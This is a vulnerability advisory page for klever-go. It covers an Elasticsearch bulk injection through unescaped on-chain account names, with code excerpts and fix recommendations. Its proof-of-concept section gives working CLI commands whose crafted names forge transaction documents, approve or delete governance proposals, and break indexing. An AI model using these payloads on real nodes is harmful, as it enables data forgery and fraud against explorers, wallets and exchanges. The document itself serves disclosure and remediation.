GHSA-7c7c-373r-gfjj CVE-2026-82409 GO-2026-6585
Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.34%
- Chance of exploitation in the next 30 days. Higher than 27.57% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-116 Improper Encoding or Escaping of Output
- Fix
1.7.20- Upgrade github.com/klever-io/klever-go to this version or later
Description
Component: Elasticsearch indexer (indexer/)
Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts)
Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688
Description
When the node indexes account updates to Elasticsearch, it builds the ES _bulk painless-script line by splicing the account's name directly into JSON with fmt.Sprintf("%s", ...) and no escaping:
// indexer/common.go:2395-2407 (serializedDataForUpdateAccounts)
serializedData := []byte(fmt.Sprintf(`{"script":{"source":"`+
`ctx._source.name = params.name; ... `+
`","lang": "painless","params":`+
`{"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}`,
acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW
acc.Name originates from on-chain account state: indexer/accountInfo.go:31 sets Name: string(userAccount.GetName()). An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the SetAccountName handler:
// core/kapp/accounts/accounts.go:1740
if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... } // MaxNameSize = 100
The only constraints are valid UTF-8 and length ≤ 100 bytes. Double-quote ("), backslash (\), and newline (\n) are all valid UTF-8 and are not rejected. The safe helper converters.JsonEscape() exists and is used for _id fields elsewhere in the same file (common.go:893, :932, :961) but is not applied to the name.
The resulting buffer is POSTed verbatim to Elasticsearch _bulk by elasticClient.DoBulkRequest (indexer/elasticClient.go:128), with the index in the URL. The _bulk body is NDJSON — newline-delimited action/source pairs (indexer/data/buffer.go:45 appends a \n after every entry). Therefore a name containing a quote and newlines can
- inject arbitrary keys/structure into the document,
- break the batch, and
- inject entirely new bulk operations targeting other documents and other indices.
SetAccountName is a first-class transaction contract type (= 12) dispatched natively at txProcess.go:688 via SetAccountName(tx.GetSender(), tc). The attacker names their own account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in KleverSetAccountName, but that path is not needed.)
The name is written into consensus account state (userAccount.SetName, data/state/userAccount.go:76) and replicated to all nodes. The indexer reads it from state, not from the transaction, during each node's own block processing (core/process/block/block.go:1141 SaveBlock / SaveAccounts). Consequently:
- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.
- Indexers typically run on observer/gateway nodes that power the public explorer/API — exactly the realistic victim.
- The payload is durable and replayable: a newly stood-up indexer, or a historical re-index (import-DB mode,
cmd/node/startup.go:153), re-reads the name from state and re-fires the injection.
Escalation — from denial-of-indexing to arbitrary ES document CRUD
Elasticsearch _bulk fails a malformed line differently by position: malformed action line → whole-batch HTTP 400 (nothing applies); malformed source line → per-item error (other items still apply). By appending a sacrificial action after the forged op, the serializer's fixed template tail (", "nonce":...}}}) lands in a source position (item-level error), so a clean forged op that precedes it is applied. This yields arbitrary create / overwrite / delete of documents in any index the indexer's ES credentials can write — cross-index via {"index":{"_index":"...", "_id":"..."}}.
Deployment amplifier (default ES config)
The Elasticsearch config klever ships (docker/elasticsearch/elasticsearch.yml, docker/docker-compose.yml) sets xpack.security.enabled: false, network.host: 0.0.0.0, publishes 9200:9200, and CORS * with POST,PUT,DELETE. The node's default config/node/external.yaml connects with empty username/password. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, this injection is the remote bridge that reaches that private ES through the node's own trusted connection.
POC
The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}'
This submits contract type 12 (SetAccountNameContract) with:
Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}}
(84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e.
base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)
{ "update": { "_index":"accounts", "_id":"<attacker>" } }
{"script":{ ... ,"params":{"name": ""}}}
{"index":{"_index":"transactions","_id":"t"}} ← forged bulk action
{"status":"success"} ← forged doc → written to `transactions`
{"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail
Observed result: a forged document {"status":"success"} with _id:"t" appears in the transactions index — the attacker never submitted any such transaction:
GET transactions/_doc/t
{ "found": true, "_source": { "status": "success" } }
Escalation variants — same delivery, only the Name changes
Each is a single SetAccountName tx sent the same way; only the payload differs.
Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'
Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}'
Delete a document (e.g. proposal id 5; 61 bytes):
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}'
Impact
A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch _bulk stream of every node that indexes the chain now or in the future. Two tiers of impact:
-
Denial-of-indexing A name containing a single
"or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently dropped → the explorer/API serves stale data. Repeatable every block. -
Arbitrary document CRUD across all indexer indices (escalation). Using the sacrificial-op construction, the attacker can create/overwrite/delete documents in any klever index the indexer writes (
transactions,blocks,accounts,proposals,assets,marketplaces, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forgedstatus:successtransaction).
Amplifiers: the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.
Recommendation
-
Escape the name . Never splice on-chain strings into JSON with
fmt.Sprintf. Either apply the existingconverters.JsonEscape()toacc.Name(mirror the_idhandling), or preferably build the entire bulk source withjson.Marshalof a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit everyfmt.Sprintf-built bulk/script line inindexer/common.gofor the same pattern (RootHash and other%sfields on this and nearby paths). -
Restrict the on-chain account-name charset at
SetAccountName(accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/klever-io/klever-go | < 1.7.20 |
1.7.20 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/klever-io/klever-go Go → 1.7.20
- go
go get github.com/klever-io/klever-go@v1.7.20 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- Low
Weakness
CWE-116: Improper Encoding or Escaping of Output
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
- Architecture and Design, Implementation: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- Architecture and Design: In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
- Architecture and Design: Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
- Requirements: Fully specify which encodings are required by components that will be communicating with each other.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9wh6-9hq7-9688 Klever-Go: Validator registration accepts an unvalidated BLS public key → consensus liveness DoS | High | Also affects github.com/klever-io/klever-go |
| GHSA-26r5-4mm2-px5c Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace | High | Also affects github.com/klever-io/klever-go |
| GHSA-97cv-x867-6xhm Klever-Go Account takeover: `kleverUpdateAccountPermission` authorizes on attacker-controlled `RecipientAddr` instead of the authenticated caller | High | Also affects github.com/klever-io/klever-go |
| GHSA-4fwh-wrm6-97xm Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS) | High | Also affects github.com/klever-io/klever-go |
| GHSA-9v8p-frvj-2pcm Klever-Go: /log controls global node logging | High | Also affects github.com/klever-io/klever-go |
| GHSA-mrpp-v6pg-p54x klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply | High | Also affects github.com/klever-io/klever-go |
| GHSA-v358-wf77-39xv klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits | High | Also affects github.com/klever-io/klever-go |
| GHSA-cgc5-v3f2-8m2v Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token) | Critical | Also affects github.com/klever-io/klever-go |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor